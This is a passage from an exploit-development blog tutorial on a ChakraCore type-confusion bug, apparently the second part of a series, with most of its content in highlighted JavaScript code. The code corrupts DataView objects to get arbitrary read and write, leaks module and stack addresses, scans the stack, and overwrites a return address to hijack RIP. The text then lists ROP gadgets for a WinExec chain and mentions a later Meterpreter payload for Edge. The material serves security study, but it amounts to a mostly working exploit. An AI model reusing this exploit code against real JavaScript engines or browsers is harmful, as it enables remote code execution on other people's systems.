    <span class="nx">stackAddress</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack from type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread!</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack leak: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Compute the stack limit for the current thread and store it in an array</span>
    <span class="kd">var</span> <span class="nx">stackLeak</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mh">0xed000</span><span class="p">;</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack limit: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Scan the stack</span>

    <span class="c1">// Counter variable</span>
    <span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Loop</span>
    <span class="k">while</span> <span class="p">(</span><span class="nx">counter</span> <span class="o">&lt;</span> <span class="mh">0x10000</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="c1">// Store the contents of the stack</span>
        <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

        <span class="c1">// Print update</span>
        <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack address 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">)</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> contains: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

        <span class="c1">// Increment the counter</span>
        <span class="nx">counter</span> <span class="o">+=</span> <span class="mh">0x8</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>As we can see above, we are going to scan the stack, up through <code class="language-plaintext highlighter-rouge">0x10000</code> bytes (which is just a random arbitrary value). It is worth noting that the stack grows “downwards” on x64-based Windows systems. Since we have leaked the stack limit, this is technically the “lowest” address our stack can grow to. The stack base is known as the upper limit, to where the stack can also not grow past. This can be examined more thoroughly by referencing our <code class="language-plaintext highlighter-rouge">!teb</code> command output previously seen.</p>

<p><img src="/images/2typeconfusion81.png" alt="" /></p>

<p>For instance, let’s say our stack starts at the address <code class="language-plaintext highlighter-rouge">0xf7056ff000</code> (based on the above image). We can see that this address is within the bounds of the stack base and stack limit. If we were to perform a <code class="language-plaintext highlighter-rouge">push rax</code> instruction to place RAX onto the stack, the stack address would then “grow” to <code class="language-plaintext highlighter-rouge">0xf7056feff8</code>. The same concept can be applied to function prologues, which allocate stack space by performing <code class="language-plaintext highlighter-rouge">sub rsp, 0xSIZE</code>. Since we leaked the “lowest” the stack can be, we will scan “upwards” by adding <code class="language-plaintext highlighter-rouge">0x8</code> to our counter after each iteration.</p>

<p>Let’s now run our updated <code class="language-plaintext highlighter-rouge">exploit.js</code> in a <code class="language-plaintext highlighter-rouge">cmd.exe</code> session without any debugger attached, and output this to a file.</p>

<p><img src="/images/2typeconfusion83.png" alt="" /></p>

<p>As we can see, we received an access denied. This actually has nothing to do with our exploit, except that we attempted to read memory that is invalid as a result of our loop. This is because we set an arbitrary value of <code class="language-plaintext highlighter-rouge">0x10000</code> bytes to read - but all of this memory may not be resident at the time of execution. This is no worry, because if we open up our <code class="language-plaintext highlighter-rouge">results.txt</code> file, where our output went, we can see we have <em>plenty</em> to work with here.</p>

<p><img src="/images/2typeconfusion84.png" alt="" /></p>

<p>Scrolling down a bit in our results, we can see we have finally reached the location on the stack with return addresses and other data.</p>

<p><img src="/images/2typeconfusion85.png" alt="" /></p>

<p>What we do next is a “trial-and-error” approach, where we take one of the <code class="language-plaintext highlighter-rouge">0x7fff</code> addresses, which we know is a standard user-mode address that is from a loaded module backed by disk (e.g. <code class="language-plaintext highlighter-rouge">ntdll.dll</code>) and we take it, disassemble it in WinDbg to determine if it is a return address, and attempt to use it.</p>

<p>I have already gone through this process, but will still show you how I would go about it. For instance, after paring <code class="language-plaintext highlighter-rouge">results.txt</code> I located the address <code class="language-plaintext highlighter-rouge">0x7fff25c78b0</code> on the stack. Again, this could be another address with <code class="language-plaintext highlighter-rouge">0x7fff</code> that ends in a <code class="language-plaintext highlighter-rouge">ret</code>.</p>

<p><img src="/images/2typeconfusion86.png" alt="" /></p>

<p>After seeing this address, we need to find out if this is an actual <code class="language-plaintext highlighter-rouge">ret</code> instruction. To do this, we can execute our exploit within WinDbg and set a break-on-load breakpoint for <code class="language-plaintext highlighter-rouge">chakracore.dll</code>. This will tell WinDbg to break when <code class="language-plaintext highlighter-rouge">chakracore.dll</code> is loaded into the process space.</p>

<p><img src="/images/2typeconfusion87.png" alt="" /></p>

<p><img src="/images/2typeconfusion88a.png" alt="" /></p>

<p>After <code class="language-plaintext highlighter-rouge">chakracore.dll</code> is loaded, we can disassemble our memory address and as we can see - this is a valid <code class="language-plaintext highlighter-rouge">ret</code> address.</p>

<p><img src="/images/2typeconfusion89.png" alt="" /></p>

<p>What this means is at some point during our code execution, the function <code class="language-plaintext highlighter-rouge">chakracore!JsRun</code> is called. When this function is called, <code class="language-plaintext highlighter-rouge">chakracore!JsRun+0x40</code> (the return address) is pushed onto the stack. When <code class="language-plaintext highlighter-rouge">chakracore!JsRun</code> is done executing, it will return to this instruction. What we will want to do is first execute a proof-of-concept that will overwrite this return address with <code class="language-plaintext highlighter-rouge">0x4141414141414141</code>. This means when <code class="language-plaintext highlighter-rouge">chakracore!JsRun</code> is done executing (which should happen during the lifetime of our exploit running), it will try to load its return address into the instruction pointer - which will have been overwritten with <code class="language-plaintext highlighter-rouge">0x4141414141414141</code>. This will give us control of the RIP register! Once more, to reiterate, the reason why we can overwrite this return address is because at this point in the exploit (when we scan the stack), <code class="language-plaintext highlighter-rouge">chakracore!JsRun</code>’s return address is on the stack. This means between the time our exploit is done executing, as the JavaScript will have been run (our <code class="language-plaintext highlighter-rouge">exploit.js</code>), <code class="language-plaintext highlighter-rouge">chakracore!JsRun</code> will have to return execution to the function which called it (the caller). When this happens, we will have corrupted the return address to hijack control-flow into our eventual ROP chain.</p>

<p>Now we have a target address, which is located <code class="language-plaintext highlighter-rouge">0x1768bc0</code> bytes away from <code class="language-plaintext highlighter-rouge">chakrecore.dll</code>.</p>

<p><img src="/images/2typeconfusion90.png" alt="" /></p>

<p>With this in mind, we can update our <code class="language-plaintext highlighter-rouge">exploit.js</code> to the following, which should give us control of RIP.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>

    <span class="c1">// Leak a pointer to kernel32.dll from ChakraCore's IAT (for who's base address we already have)</span>
    <span class="nx">iatEntry</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x17c0000</span><span class="o">+</span><span class="mh">0x40</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>     <span class="c1">// KERNEL32!RaiseExceptionStub pointer</span>

    <span class="c1">// Store the upper part of kernel32.dll</span>
    <span class="nx">kernel32High</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the lower part of kernel32.dll</span>
    <span class="nx">kernel32Lo</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1d890</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernel32.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32High</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32Lo</span><span class="p">));</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary (lcoated at type+0x8)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext (located at javascriptLibrary+0x450)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x450</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascripLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x3b8</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread (located at threadContext+0xc8)</span>
    <span class="nx">stackAddress</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack from type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread!</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack leak: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Compute the stack limit for the current thread and store it in an array</span>
    <span class="kd">var</span> <span class="nx">stackLeak</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mh">0xed000</span><span class="p">;</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack limit: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Scan the stack</span>

    <span class="c1">// Counter variable</span>
    <span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="c1">// Store our target return address</span>
    <span class="kd">var</span> <span class="nx">retAddr</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">retAddr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraLo</span> <span class="o">+</span> <span class="mh">0x1768bc0</span><span class="p">;</span>
    <span class="nx">retAddr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">chakraHigh</span><span class="p">;</span>

    <span class="c1">// Loop until we find our target address</span>
    <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span>
    <span class="p">{</span>

        <span class="c1">// Store the contents of the stack</span>
        <span class="nx">tempContents</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

        <span class="c1">// Did we find our return address?</span>
        <span class="k">if</span> <span class="p">((</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="nx">retAddr</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">tempContents</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="nx">retAddr</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
        <span class="p">{</span>
            <span class="c1">// print update</span>
            <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Found the target return address on the stack!</span><span class="dl">"</span><span class="p">);</span>

            <span class="c1">// stackLeak+counter will now contain the stack address which contains the target return address</span>
            <span class="c1">// We want to use our arbitrary write primitive to overwrite this stack address with our own value</span>
            <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Target return address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]));</span>

            <span class="c1">// Break out of the loop</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Increment the counter if we didn't find our target return address</span>
        <span class="nx">counter</span> <span class="o">+=</span> <span class="mh">0x8</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// When execution reaches here, stackLeak+counter contains the stack address with the return address we want to overwrite</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>Let’s run this updated script in the debugger directly, without any breakpoints.</p>

<p><img src="/images/2typeconfusion91.png" alt="" /></p>

<p>After running our exploit, we can see we encounter an access violation! We can see a <code class="language-plaintext highlighter-rouge">ret</code> instruction is attempting to be executed, which is attempting to return execution to the <code class="language-plaintext highlighter-rouge">ret</code> address we have overwritten! This is likely a result of our <code class="language-plaintext highlighter-rouge">JsRun</code> function invoking a function or functions which eventually return execution to the <code class="language-plaintext highlighter-rouge">ret</code> address of our <code class="language-plaintext highlighter-rouge">JsRun</code> function which we overwrote. If we take a look at the stack, we can see the culprit of our access violation - ChakraCore is trying to return into the address <code class="language-plaintext highlighter-rouge">0x4141414141414141</code> - an address which we control! This means we have successfully controlled program execution and RIP!</p>

<p><img src="/images/2typeconfusion92.png" alt="" /></p>

<p>All there is now to do is write a ROP chain to the stack and overwrite RIP with our first ROP gadget, which will call <code class="language-plaintext highlighter-rouge">WinExec</code> to spawn <code class="language-plaintext highlighter-rouge">calc.exe</code></p>

<h2 id="code-execution">Code Execution</h2>

<p>With complete stack control via our arbitrary write primitive plus stack leak, and with control-flow hijacking available to us via a return address overwrite - we now have the ability to induce a ROP payload. This is, of course, due to the advent of DEP. Since we know where the stack is at, we can use our first ROP gadget in order to overwrite the return address we previously overwrote with <code class="language-plaintext highlighter-rouge">0x4141414141414141</code>. We can use the <a href="https://github.com/0vercl0k/rp">rp++</a> utility in order to parse the <code class="language-plaintext highlighter-rouge">.text</code> section of <code class="language-plaintext highlighter-rouge">chakracore.dll</code> for any useful ROP gadgets. Our goal (for this part of the blog series) will be to invoke <code class="language-plaintext highlighter-rouge">WinExec</code>. Note that this won’t be possible in Microsoft Edge (which we will exploit in part three) due to the mitigation of no child processes in Edge. We will opt for a Meterpreter payload for our Edge exploit, which comes in the form of a reflective DLL to avoid spawning a new process. However, since CharkaCore doesn’t have these constraints, let’s parse <code class="language-plaintext highlighter-rouge">chakracore.dll</code> for ROP gadgets and then take a look at the <code class="language-plaintext highlighter-rouge">WinExec</code> prototype.</p>

<p>Let’s use the following <code class="language-plaintext highlighter-rouge">rp++</code> command: <code class="language-plaintext highlighter-rouge">rp-win-x64.exe -f C:\PATH\TO\ChakraCore\Build\VcBuild\x64_debug\ChakraCore.dll -r &gt; C:\PATH\WHERE\YOU\WANT\TO\OUTPUT\gadgets.txt</code>:</p>

<p><img src="/images/2typeconfusion93.png" alt="" /></p>

<p>ChakraCore is a very large code base, so <code class="language-plaintext highlighter-rouge">gadgets.txt</code> will be decently big. This is also why the <code class="language-plaintext highlighter-rouge">rp++</code> command takes a while to parse <code class="language-plaintext highlighter-rouge">chakracore.dll</code>. Taking a look at <code class="language-plaintext highlighter-rouge">gadgets.txt</code>, we can see our ROP gadgets.</p>

<p><img src="/images/2typeconfusion94.png" alt="" /></p>

<p>Moving on, let’s take a look at the prototype of <code class="language-plaintext highlighter-rouge">WinExec</code>.</p>

<p><img src="/images/2typeconfusion95.png" alt="" /></p>

<p>As we can see above, <code class="language-plaintext highlighter-rouge">WinExec</code> takes two parameters. Because of the <code class="language-plaintext highlighter-rouge">__fastcall</code> calling convention, the first parameter needs to be stored in RCX and the second parameter needs to be in RDX.</p>

<p>Our first parameter, <code class="language-plaintext highlighter-rouge">lpCmdLine</code>, needs to be a string which contains the contents of <code class="language-plaintext highlighter-rouge">calc</code>. At a deeper level, we need to find a memory address and use an arbitrary write primitive to store the contents there. In other works, <code class="language-plaintext highlighter-rouge">lpCmdLine</code> needs to be a <em>pointer</em> to the string <code class="language-plaintext highlighter-rouge">calc</code>.</p>

<p>Looking at our <code class="language-plaintext highlighter-rouge">gadgets.txt</code> file, let’s look for some ROP gadgets to help us achieve this. Within <code class="language-plaintext highlighter-rouge">gadgets.txt</code>, we find three useful ROP gadgets.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x18003e876: pop rax ; ret ; \x26\x58\xc3 (1 found)
0x18003e6c6: pop rcx ; ret ; \x26\x59\xc3 (1 found)
0x1800d7ff7: mov qword [rcx], rax ; ret ; \x48\x89\x01\xc3 (1 found)
</code></pre></div></div>

<p>Here is how this will look in terms of our ROP chain:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pop rax ; ret
&lt;0x636c6163&gt; (calc in hex is placed into RAX)

pop rcx ; ret
&lt;pointer to store calc&gt; (pointer is placed into RCX)

mov qword [rcx], rax ; ret (fill pointer with calc)
</code></pre></div></div>

<p>Where we have currently overwritten our return address with a value of <code class="language-plaintext highlighter-rouge">0x4141414141414141</code>, we will place our first ROP gadget of <code class="language-plaintext highlighter-rouge">pop rax ; ret</code> there to begin our ROP chain. We will then write the rest of our gadgets down the rest of the stack, where our ROP payload will be executed.</p>

<p>Our previous three ROP gadgets will place the string <code class="language-plaintext highlighter-rouge">calc</code> into RAX, the pointer where we want to write this string into RCX, and then a gadget used to actually update the contents of this pointer with the string.</p>

<p>Let’s update our <code class="language-plaintext highlighter-rouge">exploit.js</code> script with these ROP gadgets (note that <code class="language-plaintext highlighter-rouge">rp++</code> can’t compensate for ASLR, and essentially computes the offset from the base of <code class="language-plaintext highlighter-rouge">chakracore.dll</code>. For example, the <code class="language-plaintext highlighter-rouge">pop rax</code> gadget is shown to be at <code class="language-plaintext highlighter-rouge">0x18003e876</code>. What this means is that we can actually find this gadget at <code class="language-plaintext highlighter-rouge">chakracore_base + 0x3e876</code>.)</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>

    <span class="c1">// Leak a pointer to kernel32.dll from ChakraCore's IAT (for who's base address we already have)</span>
    <span class="nx">iatEntry</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x17c0000</span><span class="o">+</span><span class="mh">0x40</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>     <span class="c1">// KERNEL32!RaiseExceptionStub pointer</span>

    <span class="c1">// Store the upper part of kernel32.dll</span>
    <span class="nx">kernel32High</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the lower part of kernel32.dll</span>
    <span class="nx">kernel32Lo</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1d890</span><span class="p">;</span>

    <span class="c1">// Print update</span>
